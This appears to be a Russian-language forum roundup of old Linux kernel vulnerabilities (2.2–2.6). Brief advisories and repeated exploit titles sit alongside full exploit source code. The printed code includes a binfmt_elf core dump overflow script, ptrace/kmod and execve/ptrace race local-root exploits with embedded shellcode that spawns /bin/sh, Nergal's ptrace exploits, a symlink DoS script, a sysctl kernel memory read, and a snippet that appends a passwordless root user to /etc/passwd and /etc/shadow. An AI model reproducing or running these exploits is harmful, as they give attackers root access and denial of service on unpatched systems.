[ Обзор уязвимостей Linux ]
Сайт разработчика: www.linux.com
Exploits/Shellcode
Linux Kernel 2.2 (TCP/IP Weakness) Exploit
Linux Kernel 2.2.x - 2.4.x ptrace/kmod Local Root Exploit
Linux Kernel < 2.4.20 Module Loader Local Root Exploit
Linux Kernel <= 2.4.20 decode_fh Denial of Service Exploit
Linux Kernel 2.4.22 "do_brk()" local Root Exploit (PoC)
Linux Kernel <= 2.4.22 (do_brk) Local Root Exploit (working)
Linux Kernel "do_mremap" Local Proof of Concept
Linux Kernel "do_mremap" Local Proof of Concept II
Linux Kernel 2.4.x mremap() bound checking Root Exploit
Linux Kernel "mremap()"#2 Local Proof-of-concept
Linux Kernel 2.x mremap missing do_munmap Exploit
Linux Kernel <= 2.6.3 (setsockopt) Local Denial of Service Exploit
Linux Kernel 2.4.x-2.6.x Assembler Inline Function Local DoS Exploit
Linux Kernel File Offset Pointer Handling Memory Disclosure Exploit
Linux Kernel 2.6.x Firewall Logging Rules Remote DoS Exploit
Linux Kernel (<= 2.4.27 , 2.6.8) binfmt_elf Executable File Read Exploit
Linux Kernel <= 2.4.28 and <= 2.6.9 scm_send local DoS Exploit
Linux Kernel (<= 2.6.9, 2.4.22-28) (igmp.c) Local Denial of Service Exploit
Linux Kernel <= 2.6.9, <= 2.4.28 vc_resize int Local Overflow Exploit
Linux Kernel <= 2.6.9, <= 2.4.28 Memory Leak Local DoS
Linux Kernel <= 2.6.9, <= 2.4.28 ip_options_get Local Overflow
Linux Kernel 2.6.x chown() Group Ownership Alteration Exploit
Linux Kernel <= 2.4.29-rc2 uselib() Privilege Elevation
Linux Kernel 2.4 uselib() Privilege Elevation Exploit
Linux Kernel 2.4.x / 2.6.x uselib() Local Privilege Escalation Exploit
Linux Kernel <= 2.6.10 Local Denial of Service Exploit
Linux Kernel PPC64/IA64 (AIO) Local Denial of Service Exploit
Linux Kernel <= 2.6.12-rc4 (ioctl_by_bdev) Local Denial of Service Exploit
Linux Kernel 2.4/2.6 bluez Local Root Privilege Escalation Exploit (update)
Linux Kernel <= 2.6.11 (CPL 0) Local Root Exploit (k-rad3.c)
Linux Kernel 2.6.x sys_timer_create() Local Denial of Service Exploit
Linux Kernel < 2.6.16.18 (Netfilter NAT SNMP Module) Remote DoS Exploit
Linux Kernel 2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit
Linux Kernel 2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (2)
Linux Kernel 2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (3)
Linux Kernel 2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (4)
Linux Kernel <= 2.6.17.4 (proc) Local Root Exploit
Linux Kernel 2.6.13 <= 2.6.17.4 prctl() Local Root Exploit (logrotate)
Linux Kernel <= 2.6.20 with DCCP Support Memory Disclosure Exploit
Linux Kernel <= 2.6.20 with DCCP Support Memory Disclosure Exploit v2
Linux Kernel < 2.6.20.2 IPV6_Getsockopt_Sticky Memory Leak PoC
Linux Kernel 2.4/2.6 x86-64 System Call Emulation Exploit
Linux Kernel < 2.6.11.5 BLUETOOTH Stack Local Root Exploit
Linux Kernel <=2.6.21.1 IPv6 Jumbo Bug Remote DoS Exploit
Повышение привилегий через coredump в ядре Linux (privilege escalation)
Некорректный разбор ELF формата приводит к возможности выполнения кода.
Повышение прав через mremap в linux (privilege escalation)
При определенных условиях можно отобразить страницу памяти нулевого размера, что приводит к повреждению памяти.
Linux kernel do_mremap() proof-of-concept exploit code
Linux kernel mremap() bound checking bug exploit
Proof-of-concept exploit code for do_mremap() #2
mremap missing do_munmap return check kernel exploit
Многочисленные проблемы в linux kernel (multiple bugs)
Ставший привычным набор: проблемы с ptrace, mmap и Ethrenet-драйверами.
Добавлено в [time]1201340775[/time]
Очередные проблемы с Linux kernel (privelege escalation, symlink DoS)
Затронутые продукты:
LINUX : kernel 2.2
LINUX : kernel 2.4
Можно исопльзовать два процесса, один из которых использует ptrace для отладки второго. Если первый процесс вызывает какое-либо suid-приложение, которое в конечном итоге сбрасывает привилегии и выполняет команду пользователя, а второе приложение вызывает suid-приложение (в момент вызова оба приложения работают с привилегиями root) то можно получить управление вторым suid-приложением. Кроме того, глубокая вложенность symlink приводит к DoS.
linux ptrace local root - insert_shellcode
linux ptrace local root
linux symlink DoS
Проблемы в linux kernel (sysctl и ptrace)
Затронутые продукты: LINUX : kernel 2.2
Отрицательное смещение в вызове sysctl позволеят обращаться к памяти ядра, кроме того через ptrace можно изменить выполнение setuid процесса. На intel-архитектурах кроме того возможет DoS.
Linux sysctl negative argument exploit
exploit for execve/ptrace race condition in Linux kernel up to 2.2.18
Серьезная ошибка в ядре Linux
Недокументированный вызов setcap() из чернового стандарта POSIX позволяет установить некоторые ограничения на процесс, в т.ч. CAP_SETUID, которая позволяет блокировать вызов setuid(). При этом эти ограничения могут быть унаследованы дочерними приложениями, что позволяет, установив подобное ограничение вызвать suid root -приложение, которое не сможет освободиться от своих привилегий. При этому вызов setuid() не будет срабатывать, хотя не будет возвращать ошибку.
linux-cap-exp
cap-procmail-sendmail
Добавлено в [time]1201340818[/time]
Повышение привилегий в 64-битных версиях Linux (privilege escalation)
Затронутые продукты:
LINUX : kernel 2.4
LINUX : kernel 2.6
Недостаточная проверка прав модификации регистра в эмуляции 32-битных системных вызовов.
Многочисленные ошибки в ядре Linux (multiple bugs)
Затронутые продукты:
LINUX : kernel 2.4
LINUX : kernel 2.6
Кратковременные условия приводят к возможности перезаписи областей памяти ядра в uselib(). Целочисленные переполнения в многочисленных драйверах (random poolsize, scsi ioctl, moxa). Обход защиты RLIMIT_MEMLOCK. DoS через mlockall. Повышение привилегий из-за кратковременных условий, возникающих при обработке страничного сбоя на многопроцессорных системах.
binfmt_elf uselib VMA insert race vulnerability
Повышение привилегий через coredump-файлы в Linux (privilege escalation)
Затронутые продукты:
LINUX : kernel 2.6
За счет установки rlimit процесс может создать coredump-файл в любом каталоге.
Переполнение стекового буфера в sendmsg()
Затронутые продукты:
LINUX : kernel 2.6
Переполнение стекового буфера в sendmsg(), доступ к памяти ядра через raw_sendmsg(), DoS через ipt_recent, многочисленные DoS-условия через fput() на 64-битных платформах с 32-битной эмуляцией, DoS USB Request Block, доступ к критичной информации через DRM, доступ к памяти ядра через драйвера Orinoco, доступ к терминалам других пользователей, кратковременные условия в ip_vs_conn_flush, утечка памяти в AUDITSYSCALL.
Сайт разработчика: www.linux.com
Exploits/Shellcode
Linux Kernel 2.2 (TCP/IP Weakness) Exploit
Linux Kernel 2.2.x - 2.4.x ptrace/kmod Local Root Exploit
Linux Kernel < 2.4.20 Module Loader Local Root Exploit
Linux Kernel <= 2.4.20 decode_fh Denial of Service Exploit
Linux Kernel 2.4.22 "do_brk()" local Root Exploit (PoC)
Linux Kernel <= 2.4.22 (do_brk) Local Root Exploit (working)
Linux Kernel "do_mremap" Local Proof of Concept
Linux Kernel "do_mremap" Local Proof of Concept II
Linux Kernel 2.4.x mremap() bound checking Root Exploit
Linux Kernel "mremap()"#2 Local Proof-of-concept
Linux Kernel 2.x mremap missing do_munmap Exploit
Linux Kernel <= 2.6.3 (setsockopt) Local Denial of Service Exploit
Linux Kernel 2.4.x-2.6.x Assembler Inline Function Local DoS Exploit
Linux Kernel File Offset Pointer Handling Memory Disclosure Exploit
Linux Kernel 2.6.x Firewall Logging Rules Remote DoS Exploit
Linux Kernel (<= 2.4.27 , 2.6.8) binfmt_elf Executable File Read Exploit
Linux Kernel <= 2.4.28 and <= 2.6.9 scm_send local DoS Exploit
Linux Kernel (<= 2.6.9, 2.4.22-28) (igmp.c) Local Denial of Service Exploit
Linux Kernel <= 2.6.9, <= 2.4.28 vc_resize int Local Overflow Exploit
Linux Kernel <= 2.6.9, <= 2.4.28 Memory Leak Local DoS
Linux Kernel <= 2.6.9, <= 2.4.28 ip_options_get Local Overflow
Linux Kernel 2.6.x chown() Group Ownership Alteration Exploit
Linux Kernel <= 2.4.29-rc2 uselib() Privilege Elevation
Linux Kernel 2.4 uselib() Privilege Elevation Exploit
Linux Kernel 2.4.x / 2.6.x uselib() Local Privilege Escalation Exploit
Linux Kernel <= 2.6.10 Local Denial of Service Exploit
Linux Kernel PPC64/IA64 (AIO) Local Denial of Service Exploit
Linux Kernel <= 2.6.12-rc4 (ioctl_by_bdev) Local Denial of Service Exploit
Linux Kernel 2.4/2.6 bluez Local Root Privilege Escalation Exploit (update)
Linux Kernel <= 2.6.11 (CPL 0) Local Root Exploit (k-rad3.c)
Linux Kernel 2.6.x sys_timer_create() Local Denial of Service Exploit
Linux Kernel < 2.6.16.18 (Netfilter NAT SNMP Module) Remote DoS Exploit
Linux Kernel 2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit
Linux Kernel 2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (2)
Linux Kernel 2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (3)
Linux Kernel 2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (4)
Linux Kernel <= 2.6.17.4 (proc) Local Root Exploit
Linux Kernel 2.6.13 <= 2.6.17.4 prctl() Local Root Exploit (logrotate)
Linux Kernel <= 2.6.20 with DCCP Support Memory Disclosure Exploit
Linux Kernel <= 2.6.20 with DCCP Support Memory Disclosure Exploit v2
Linux Kernel < 2.6.20.2 IPV6_Getsockopt_Sticky Memory Leak PoC
Linux Kernel 2.4/2.6 x86-64 System Call Emulation Exploit
Linux Kernel < 2.6.11.5 BLUETOOTH Stack Local Root Exploit
Linux Kernel <=2.6.21.1 IPv6 Jumbo Bug Remote DoS Exploit
Повышение привилегий через coredump в ядре Linux (privilege escalation)
Некорректный разбор ELF формата приводит к возможности выполнения кода.
Код:
#!/bin/bash
#
# elfcd.sh
# warning: This code will crash your machine
#
cat <<__EOF__>elfcd1.c
/*
* Linux binfmt_elf core dump buffer overflow
*
* Copyright (c) 2005 iSEC Security Research. All Rights Reserved.
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
*/
// phase 1
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <asm/page.h>
static char *env[10], *argv[4];
static char page[PAGE_SIZE];
static char buf[PAGE_SIZE];
void fatal(const char *msg)
{
if(!errno) {
fprintf(stderr, "\nFATAL: %s\n", msg);
}
else {
printf("\n");
perror(msg);
}
fflush(stdout); fflush(stderr);
_exit(129);
}
int main(int ac, char **av)
{
int esp, i, r;
struct rlimit rl;
__asm__("movl %%esp, %0" : : "m"(esp));
printf("\n[+] %s argv_start=%p argv_end=%p ESP: 0x%x", av[0], av[0], av[ac-1]+strlen(av[ac-1]), esp);
rl.rlim_cur = RLIM_INFINITY;
rl.rlim_max = RLIM_INFINITY;
r = setrlimit(RLIMIT_CORE, &rl);
if(r) fatal("setrlimit");
memset(env, 0, sizeof(env) );
memset(argv, 0, sizeof(argv) );
memset(page, 'A', sizeof(page) );
page[PAGE_SIZE-1]=0;
// move up env & exec phase 2
if(!strcmp(av[0], "AAAA")) {
printf("\n[+] phase 2, <RET> to crash "); fflush(stdout);
argv[0] = "elfcd2";
argv[1] = page;
// term 0 counts!
memset(buf, 0, sizeof(buf) );
for(i=0; i<789 + 4; i++)
buf[i] = 'C';
argv[2] = buf;
execve(argv[0], argv, env);
_exit(127);
}
// move down env & reexec
for(i=0; i<9; i++)
env[i] = page;
argv[0] = "AAAA";
printf("\n[+] phase 1"); fflush(stdout);
execve(av[0], argv, env);
return 0;
}
__EOF__
cat <<__EOF__>elfcd2.c
// phase 2
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <syscall.h>
#include <sys/syscall.h>
#include <asm/page.h>
#define __NR_sys_read __NR_read
#define __NR_sys_kill __NR_kill
#define __NR_sys_getpid __NR_getpid
char stack[4096 * 6];
static int errno;
inline _syscall3(int, sys_read, int, a, void*, b, int, l);
inline _syscall2(int, sys_kill, int, c, int, a);
inline _syscall0(int, sys_getpid);
// yeah, lets do it
void killme()
{
char c='a';
int pid;
pid = sys_getpid();
for(;;) {
sys_read(0, &c, 1);
sys_kill(pid, 11);
}
}
// safe stack stub
__asm__(
" nop \n"
"_start: movl \$0xbfff6ffc, %esp \n"
" jmp killme \n"
".global _start \n"
);
__EOF__
cat <<__EOF__>elfcd.ld
OUTPUT_FORMAT("elf32-i386", "elf32-i386",
"elf32-i386")
OUTPUT_ARCH(i386)
ENTRY(_start)
SEARCH_DIR(/lib); SEARCH_DIR(/usr/lib); SEARCH_DIR(/usr/local/lib); SEARCH_DIR(/usr/i486-suse-linux/lib);
MEMORY
{
ram (rwxali) : ORIGIN = 0xbfff0000, LENGTH = 0x8000
rom (x) : ORIGIN = 0xbfff8000, LENGTH = 0x10000
}
PHDRS
{
headers PT_PHDR PHDRS;
text PT_LOAD FILEHDR PHDRS;
fuckme PT_LOAD AT (0xbfff8000) FLAGS (0x00);
}
SECTIONS
{
.dupa 0xbfff8000 : AT (0xbfff8000) { LONG(0xdeadbeef); _bstart = .; . += 0x7000; } >rom :fuckme
. = 0xbfff0000 + SIZEOF_HEADERS;
.text : { *(.text) } >ram :text
.data : { *(.data) } >ram :text
.bss :
{
*(.dynbss)
*(.bss)
*(.bss.*)
*(.gnu.linkonce.b.*)
*(COMMON)
. = ALIGN(32 / 8);
} >ram :text
}
__EOF__
# compile & run
echo -n "[+] Compiling..."
gcc -O2 -Wall elfcd1.c -o elfcd1
gcc -O2 -nostdlib elfcd2.c -o elfcd2 -Xlinker -T elfcd.ld -static
./elfcd1
Повышение прав через mremap в linux (privilege escalation)
При определенных условиях можно отобразить страницу памяти нулевого размера, что приводит к повреждению памяти.
Linux kernel do_mremap() proof-of-concept exploit code
Linux kernel mremap() bound checking bug exploit
Proof-of-concept exploit code for do_mremap() #2
mremap missing do_munmap return check kernel exploit
Многочисленные проблемы в linux kernel (multiple bugs)
Ставший привычным набор: проблемы с ptrace, mmap и Ethrenet-драйверами.
Код:
/*
* Linux kernel ptrace/kmod local root exploit
*
*
*
* Should work under all current 2.2.x and 2.4.x kernels.
*
* I discovered this stupid bug independently on January 25, 2003, that
* is (almost) two month before it was fixed and published by Red Hat
* and others.
*
* Wojciech Purczynski <cliph@isec.pl>
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
* IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
*
* (c) 2003 Copyright by iSEC Security Research
*/
#include <grp.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <paths.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/socket.h>
#include <linux/user.h>
char cliphcode[] =
"\x90\x90\xeb\x1f\xb8\xb6\x00\x00"
"\x00\x5b\x31\xc9\x89\xca\xcd\x80"
"\xb8\x0f\x00\x00\x00\xb9\xed\x0d"
"\x00\x00\xcd\x80\x89\xd0\x89\xd3"
"\x40\xcd\x80\xe8\xdc\xff\xff\xff";
#define CODE_SIZE (sizeof(cliphcode) - 1)
pid_t parent = 1;
pid_t child = 1;
pid_t victim = 1;
volatile int gotchild = 0;
void fatal(char * msg)
{
perror(msg);
kill(parent, SIGKILL);
kill(child, SIGKILL);
kill(victim, SIGKILL);
}
void putcode(unsigned long * dst)
{
char buf[MAXPATHLEN + CODE_SIZE];
unsigned long * src;
int i, len;
memcpy(buf, cliphcode, CODE_SIZE);
len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
if (len == -1)
fatal("[-] Unable to read /proc/self/exe");
len += CODE_SIZE + 1;
buf[len] = '\0';
src = (unsigned long*) buf;
for (i = 0; i < len; i += 4)
if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)
fatal("[-] Unable to write shellcode");
}
void sigchld(int signo)
{
struct user_regs_struct regs;
if (gotchild++ == 0)
return;
fprintf(stderr, "[+] Signal caught\n");
if (ptrace(PTRACE_GETREGS, victim, NULL, ®s) == -1)
fatal("[-] Unable to read registers");
fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);
putcode((unsigned long *)regs.eip);
fprintf(stderr, "[+] Now wait for suid shell...\n");
if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)
fatal("[-] Unable to detach from victim");
exit(0);
}
void sigalrm(int signo)
{
errno = ECANCELED;
fatal("[-] Fatal error");
}
void do_child(void)
{
int err;
child = getpid();
victim = child + 1;
signal(SIGCHLD, sigchld);
do
err = ptrace(PTRACE_ATTACH, victim, 0, 0);
while (err == -1 && errno == ESRCH);
if (err == -1)
fatal("[-] Unable to attach");
fprintf(stderr, "[+] Attached to %d\n", victim);
while (!gotchild);
if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
fatal("[-] Unable to setup syscall trace");
fprintf(stderr, "[+] Waiting for signal\n");
for(;;);
}
void do_parent(char * progname)
{
struct stat st;
int err;
errno = 0;
socket(AF_SECURITY, SOCK_STREAM, 1);
do {
err = stat(progname, &st);
} while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);
if (err == -1)
fatal("[-] Unable to stat myself");
alarm(0);
system(progname);
}
void prepare(void)
{
if (geteuid() == 0) {
initgroups("root", 0);
setgid(0);
setuid(0);
execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
fatal("[-] Unable to spawn shell");
}
}
int main(int argc, char ** argv)
{
prepare();
signal(SIGALRM, sigalrm);
alarm(10);
parent = getpid();
child = fork();
victim = child + 1;
if (child == -1)
fatal("[-] Unable to fork");
if (child == 0)
do_child();
else
do_parent(argv[0]);
return 0;
}
Очередные проблемы с Linux kernel (privelege escalation, symlink DoS)
Затронутые продукты:
LINUX : kernel 2.2
LINUX : kernel 2.4
Можно исопльзовать два процесса, один из которых использует ptrace для отладки второго. Если первый процесс вызывает какое-либо suid-приложение, которое в конечном итоге сбрасывает привилегии и выполняет команду пользователя, а второе приложение вызывает suid-приложение (в момент вызова оба приложения работают с привилегиями root) то можно получить управление вторым suid-приложением. Кроме того, глубокая вложенность symlink приводит к DoS.
linux ptrace local root - insert_shellcode
Код:
/* by Nergal */
#include <stdio.h>
#include <sys/ptrace.h>
struct user_regs_struct {
long ebx, ecx, edx, esi, edi, ebp, eax;
unsigned short ds, __ds, es, __es;
unsigned short fs, __fs, gs, __gs;
long orig_eax, eip;
unsigned short cs, __cs;
long eflags, esp;
unsigned short ss, __ss;
};
/* spiritual black dimension */
char hellcode[] =
"\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
#define ADDR 0x00125000
main(int argc, char **argv)
{
int status;
int i, wpid, pid = atoi(argv[1]);
struct user_regs_struct regs;
if (ptrace(PTRACE_GETREGS, pid, 0, ®s)) {
perror("PTRACE_GETREGS");
exit(0);
}
regs.eip = ADDR;
if (ptrace(PTRACE_SETREGS, pid, 0, ®s))
exit(0);
for (i = 0; i <= strlen(hellcode) + 5; i += 4)
ptrace(PTRACE_POKETEXT, pid, ADDR + i,
*(unsigned int *) (hellcode + i));
// kill (pid, SIGSTOP);
if (ptrace(PTRACE_DETACH, pid, 0, 0))
exit(0);
close(2);
do {
wpid = waitpid(-1, &status, 0);
if (wpid == -1) {
perror("waitpid");
exit(1);
}
} while (wpid != pid);
}
linux ptrace local root
Код:
/* by Nergal */
#include <stdio.h>
#include <sys/ptrace.h>
#include <fcntl.h>
#include <sys/ioctl.h>
void ex_passwd(int fd)
{
char z;
if (read(fd, &z, 1) <= 0) {
perror("read:");
exit(1);
}
execl("/usr/bin/passwd", "passwd", 0);
perror("execl");
exit(1);
}
void insert(int pid)
{
char buf[100];
char *ptr = buf;
sprintf(buf, "exec ./insert_shellcode %i\n", pid);
while (*ptr && !ioctl(0, TIOCSTI, ptr++));
}
main(int argc, char **argv)
{
int res, fifo;
int status;
int pid, n;
int pipa[2];
char buf[1024];
pipe(pipa);
switch (pid = fork()) {
case -1:
perror("fork");
exit(1);
case 0:
close(pipa[1]);
ex_passwd(pipa[0]);
default:;
}
res = ptrace(PTRACE_ATTACH, pid, 0, 0);
if (res) {
perror("attach");
exit(1);
}
res = waitpid(-1, &status, 0);
if (res == -1) {
perror("waitpid");
exit(1);
}
res = ptrace(PTRACE_CONT, pid, 0, 0);
if (res) {
perror("cont");
exit(1);
}
fprintf(stderr, "attached\n");
switch (fork()) {
case -1:
perror("fork");
exit(1);
case 0:
close(pipa[1]);
sleep(1);
insert(pid);
do {
n = read(pipa[0], buf, sizeof(buf));
} while (n > 0);
if (n < 0)
perror("read");
exit(0);
default:;
}
close(pipa[0]);
dup2(pipa[1], 2);
close(pipa[1]);
/* Decrystallizing reason */
setenv("LD_DEBUG", "libs", 1);
/* With strength I burn */
execl("/usr/bin/newgrp", "newgrp", 0);
}
linux symlink DoS
Код:
#!/bin/sh
# by Nergal
mklink()
{
IND=$1
NXT=$(($IND+1))
EL=l$NXT/../
P=""
I=0
while [ $I -lt $ELNUM ]; do
P=$P"$EL"
I=$(($I+1))
done
ln -s "$P"l$2 l$IND
}
#main program
if [ $# != 1 ]; then
echo A numerical argument is required.
exit 0
fi
ELNUM=$1
mklink 4
mklink 3
mklink 2
mklink 1
mklink 0 /../../../../../../../etc/services
mkdir l5
mkdir l
Проблемы в linux kernel (sysctl и ptrace)
Затронутые продукты: LINUX : kernel 2.2
Отрицательное смещение в вызове sysctl позволеят обращаться к памяти ядра, кроме того через ptrace можно изменить выполнение setuid процесса. На intel-архитектурах кроме того возможет DoS.
Linux sysctl negative argument exploit
Код:
/* Excuse the lack of error checking */
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <unistd.h>
#include <linux/unistd.h>
#include <linux/sysctl.h>
_syscall1(int, _sysctl, struct __sysctl_args *, args);
#define BUFLEN 1000000
int
main(int argc, const char* argv[])
{
struct __sysctl_args args_of_great_doom;
int names[2] = { CTL_KERN, KERN_NODENAME };
/* Minus 2 billion - somewhere close to biggest negative int */
int dodgy_len = -2000000000;
int fd;
char* p_buf;
fd = open("/dev/zero", O_RDWR);
p_buf = mmap((void*)8192, BUFLEN, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE, fd, 0);
memset(p_buf, '\0', BUFLEN);
fd = open("before", O_CREAT | O_TRUNC | O_WRONLY, 0777);
write(fd, p_buf, BUFLEN);
args_of_great_doom.name = names;
args_of_great_doom.nlen = 2;
args_of_great_doom.oldval = p_buf;
args_of_great_doom.oldlenp = &dodgy_len;
args_of_great_doom.newval = 0;
args_of_great_doom.newlen = 0;
_sysctl(&args_of_great_doom);
fd = open("after", O_CREAT | O_TRUNC | O_WRONLY, 0777);
write(fd, p_buf, BUFLEN);
}
exploit for execve/ptrace race condition in Linux kernel up to 2.2.18
Код:
/*
* epcs2 (improved by lst [liquid@dqc.org])
* ~~~~~~~
* exploit for execve/ptrace race condition in Linux kernel up to 2.2.18
*
* originally by:
* (c) 2001 Wojciech Purczynski / cliph / <wp@elzabsoft.pl>
*
* improved by:
* lst [liquid@dqc.org]
*
* This sploit does _not_ use brute force. It does not need that.
* It does only one attemt to sploit the race condition in execve.
* Parent process waits for a context-switch that occur after
* child task sleep in execve.
*
* It should work even on openwall-patched kernels (I haven't tested it).
*
* Compile it:
* cc epcs.c -o epcs
* Usage:
* ./epcs [victim]
*
* It gives instant root shell with any of a suid binaries.
*
* If it does not work, try use some methods to ensure that execve
* would sleep while loading binary file into memory,
*
* i.e.: cat /usr/lib/* >/dev/null 2>&1
*
* Tested on RH 7.0 and RH 6.2 / 2.2.14 / 2.2.18 / 2.2.18ow4
* This exploit does not work on 2.4.x because kernel won't set suid
* privileges if user ptraces a binary.
* But it is still exploitable on these kernels.
*
* Thanks to Bulba (he made me to take a look at this bug;) )
* Greetings to SigSegv team.
*
* -- d00t
* improved by lst [liquid@dqc.org]
* props to kevin for most of the work
*
* now works on stack non-exec systems with some neat trickery for the automated
* method, ie. no need to find the bss segment via objdump
*
* particularly it now rewrites the code instruction sets in the
* dynamic linker _start segment and continues execution from there.
*
* an aside, due to the fact that the code self-modified, it wouldnt work
* quite correctly on a stack non-exec system without playing directly with
* the bss segment (ie no regs.eip = regs.esp change). this is much more
* automated. however, do note that the previous version did not trigger stack
* non-exec warnings due to how it was operating. note that the regs.eip = regs.esp
* method will break on stack non-exec systems.
*
* as always.. enjoy.
*
*/
#include <stdio.h>
#include <fcntl.h>
#include <sys/types.h>
#include <signal.h>
#include <linux/user.h>
#include <sys/wait.h>
#include <limits.h>
#include <errno.h>
#include <stdlib.h>
#define CS_SIGNAL SIGUSR1
#define VICTIM "/usr/bin/passwd"
#define SHELL "/bin/sh"
/*
* modified simple shell code with some trickery (hand tweaks)
*/
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid(0) */
"\x31\xc0\xb0\x2e\xcd\x80"
"\x31\xc0\x50\xeb\x17\x8b\x1c\x24" /* execve(SHELL) */
"\x90\x90\x90\x89\xe1\x8d\x54\x24" /* lets be tricky */
"\x04\xb0\x0b\xcd\x80\x31\xc0\x89"
"\xc3\x40\xcd\x80\xe8\xe4\xff\xff"
"\xff" SHELL "\x00\x00\x00"; /* pad me */
volatile int cs_detector=0;
void cs_sig_handler(int sig)
{
cs_detector=1;
}
void do_victim(char * filename)
{
while (!cs_detector);
kill(getppid(), CS_SIGNAL);
execl(filename, filename, NULL);
perror("execl");
exit(-1);
}
int check_execve(pid_t victim, char * filename)
{
char path[PATH_MAX+1];
char link[PATH_MAX+1];
int res;
snprintf(path, sizeof(path), "/proc/%i/exe", (int)victim);
if (readlink(path, link, sizeof(link)-1)<0) {
perror("readlink");
return -1;
}
link[sizeof(link)-1]='\0';
res=!strcmp(link, filename);
if (res) fprintf(stderr, "child slept outside of execve\n");
return res;
}
int main(int argc, char * argv[])
{
char * filename=VICTIM;
pid_t victim;
int error, i;
struct user_regs_struct regs;
/* take our command args if you wanna play with other progs */
if (argc>1) filename=argv[1];
signal(CS_SIGNAL, cs_sig_handler);
victim=fork();
if (victim<0) {
perror("fork: victim");
exit(-1);
}
if (victim==0) do_victim(filename);
kill(victim, CS_SIGNAL);
while (!cs_detector);
if (ptrace(PTRACE_ATTACH, victim)) {
perror("ptrace: PTRACE_ATTACH");
goto exit;
}
if (check_execve(victim, filename))
goto exit;
(void)waitpid(victim, NULL, WUNTRACED);
if (ptrace(PTRACE_CONT, victim, 0, 0)) {
perror("ptrace: PTRACE_CONT");
goto exit;
}
(void)waitpid(victim, NULL, WUNTRACED);
if (ptrace(PTRACE_GETREGS, victim, 0, ®s)) {
perror("ptrace: PTRACE_GETREGS");
goto exit;
}
/* make sure that last null is in there */
for (i=0; i<=strlen(shellcode); i+=4) {
if (ptrace(PTRACE_POKETEXT, victim, regs.eip+i,
*(int*)(shellcode+i))) {
perror("ptrace: PTRACE_POKETEXT");
goto exit;
}
}
if (ptrace(PTRACE_SETREGS, victim, 0, ®s)) {
perror("ptrace: PTRACE_SETREGS");
goto exit;
}
fprintf(stderr, "bug exploited successfully.\nenjoy!\n");
if (ptrace(PTRACE_DETACH, victim, 0, 0)) {
perror("ptrace: PTRACE_DETACH");
goto exit;
}
(void)waitpid(victim, NULL, 0);
return 0;
exit:
fprintf(stderr, "d0h! error!\n");
kill(victim, SIGKILL);
return -1;
}
Серьезная ошибка в ядре Linux
Недокументированный вызов setcap() из чернового стандарта POSIX позволяет установить некоторые ограничения на процесс, в т.ч. CAP_SETUID, которая позволяет блокировать вызов setuid(). При этом эти ограничения могут быть унаследованы дочерними приложениями, что позволяет, установив подобное ограничение вызвать suid root -приложение, которое не сможет освободиться от своих привилегий. При этому вызов setuid() не будет срабатывать, хотя не будет возвращать ошибку.
Код:
--- add.c.orig Thu Jun 8 11:32:33 2000
+++ add.c Thu Jun 8 11:21:15 2000
@@ -1,17 +1,24 @@
#include <fcntl.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <unistd.h>
int main (void) {
int fd;
char string[40];
+ struct stat buf;
seteuid(0);
fd = open("/etc/passwd", O_APPEND|O_WRONLY);
strcpy(string, "yomama:x:0:0::/root:/bin/sh\n");
write(fd, string, strlen(string));
close(fd);
+ stat("/etc/shadow", &buf);
+ chmod("/etc/shadow", S_IRUSR|S_IWUSR);
fd = open("/etc/shadow", O_APPEND|O_WRONLY);
- strcpy(string, "yomama::11029:0:99999:7:::");
+ strcpy(string, "yomama::11029:0:99999:7:::\n");
write(fd, string, strlen(string));
close(fd);
-
+ chmod("/etc/shadow", buf.st_mode);
}
linux-cap-exp
Код:
Hello all,
Attached is a file with 2 sources, ex.c and add.c
compile these 2 and create a file "mail":
From: yomama@foobar.com
To: localuser@localdomain.com
Subject: foo
bar
.
then create a .forward with:
|/path/to/add
then just do: ./ex < mail
this should add a user yomama with uid/gid = 0 and without a password
set
a simple su - yomama should give you root.
This exploit was written by me in a hurry, I hope there are no mistakes
Greets
Florian Heinz
--------------C5AA82A7D9E47C75A576FD13
Content-Type: text/plain; charset=us-ascii;
name="exploit.c"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
